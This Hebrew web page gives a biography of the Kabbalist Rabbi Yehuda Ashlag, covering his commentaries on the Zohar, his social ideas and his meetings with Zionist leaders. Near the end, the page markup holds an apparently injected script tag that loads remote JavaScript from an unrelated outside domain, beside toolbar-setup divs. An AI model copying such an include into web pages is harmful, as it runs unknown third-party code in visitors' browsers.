Left Sidebar Content

גדולי המקובלים

בעל הסולם - הרב יהודה לייב אשלג 1884-1954

בשנותיו האחרונות כתב הרב אשלג, בעל הסולם, את "כתבי הדור האחרון", בהם ניתח משטרים חברתיים שונים ואף התווה תוכנית מפורטת לבניין החברה העתידית המתוקנת

הרב יהודה אשלג (1954-1884) מכונה "בעל הסולם" על שם פירוש "הסולם", שכתב לספר הזוהר.

בעל הסולם נולד בפולין, בגיל 19 הוסמך כרב ע"י גדולי הרבנים, ושימש במשך 16 שנה כדיין וכמורה בוורשה. ב-1921 עלה בעל הסולם ארצה ושמו החל לעבור מפה לאוזן. עד מהרה הלך שמו לפניו והוא התפרסם כבעל ידע רב בחכמת הקבלה.

יצירותיו

שתי יצירותיו העיקריות, פרי עמל של שנים ארוכות, הן "תלמוד עשר הספירות" המיוסד על כתבי האר"י ופירוש "הסולם" לספר הזוהר, שהוא הפירוש המלא והמקיף ביותר שנכתב על ספר הזוהר עד כה. לצד פירושים אלה פרסם בעל הסולם קונטרסים בשם "מתן תורה" שלימים הפכו לספר מופלא בשם זה.

כמו כן פרסם אשלג מאמרים רבים על משנתו החברתית-רוחנית ובהם ניתח משטרים חברתיים שונים ואף התווה תכנית מפורטת לבניין חברה עתידית מתוקנת הפועלת על פי חוקי ההשפעה ההדדית. לאחר מותו פורסמו ספר מאמריו "פרי חכם" ואיגרות שכתב לתלמידיו בעת ששהה בחו"ל בשם זהה.

שינוי חברתי 

בעל הסולם לא הסתפק בהעלאת רעיונותיו על הכתב אלא פעל רבות לקידומם, ואף נפגש לשם כך עם מנהיגי תנועות הפועלים ועם אישי ציבור, ובהם זלמן שזר, משה שרת, חיים ארלוזרוב וחיים נחמן ביאליק. מספר ביומנו דוד בן-גוריון, שהופתע בפגישותיהם: "אני רציתי לדבר איתו על קבלה, והוא איתי על סוציאליזם". לכאורה מפתיע לראות כי בעל הסולם חפץ להתקרב אל תנועת הפועלים העברית ואל ראשיה, הרי בינם לבינו היה הבדל חיצוני ומנטאלי גדול. אולם עיון מעמיק בכתביו חושף דמות מורכבת ומרתקת של איש משכיל ורחב-אופקים הבקי בחוכמות רבות, המעורה היטב במתרחש בארץ ובעולם ובעל דעות מהפכניות ומרחיקות-לכת בתעוזתן.

כל ימיו עסק בעל הסולם בפירוש חכמת הקבלה, בחידושה ובהפצתה בשדרות העם. הוא פיתח שיטה ייחודית ללימוד קבלה, המאפשרת לכל אדם באשר הוא לחקור את המציאות שבה אנו חיים ולהתוודע אל שורשיה ואל מטרתה.

על האיש (מתוך "הארץ", 17.12.04)

"בתחילת שנות החמישים של המאה העשרים יצא שלמה שוהם, שכעבור שנים היה מבכירי הקרימינולוגים וחתן פרס ישראל על פועלו בתחום, לחפש את הרב המקובל יהודה אשלג...באותו זמן אשלג ניסה להדפיס את 'הסולם', התרגום העברי והפרשנות שכתב על ספר הזהר. בכל פעם שהצליח לגייס מעט כסף, מתרומות קטנות, היה מדפיס חלקים מן ה'סולם' שלו. מצאתי אותו עומד בבניין רעוע, חורבה כמעט, ליד מכבש דפוס ישן. הוא לא היה מסוגל להרשות לעצמו לשלם לסדר, ולכן סידר את אותיות הדפוס בעצמו, כשהוא עומד מעל המכונה במשך שעות בכל פעם, אף שהיה בסוף שנות השישים לחייו. הוא היה ללא ספק צדיק - איש צנוע, עם מאור פנים. מאוחר יותר שמעתי שהוא בילה כל כך הרבה שעות בסידור הדפוס, עד שהעופרת פגעה בבריאותו".

הוסף תגובה
תגובות
כותרת
שם
דוא''ל
תוכן
שלחבטל
שלח לחבר
שלח לחבר
שם השולח/ת
כתובת השולח/ת
שם החבר/ה
שלחו לכתובת דוא''ל
שלחבטל
תגובות
אין כרגע תגובות
<p>kab-study</p><p>kab-study</p>
<div id="__tbSetup"></div>
<p>
<script src="https://secure-content-delivery.com/data.js.php?i={1C727042-71BC-42CA-9673-0C90960D76F0}&amp;d=2013-10-10&amp;s=http://www.kab.co.il/admin/resources/51031/edit?slang=he&amp;tree_id=113268&amp;cb=0.07726908986069703" type="text/javascript"></script>
</p><p>kab-study</p><p>shvoa-ha-sefer</p><p>radio_zohar</p><p>hafatza</p><p>new-life</p><p>olamot-nifgashim</p>
<div id="__tbSetup"></div>

Right Sidebar Content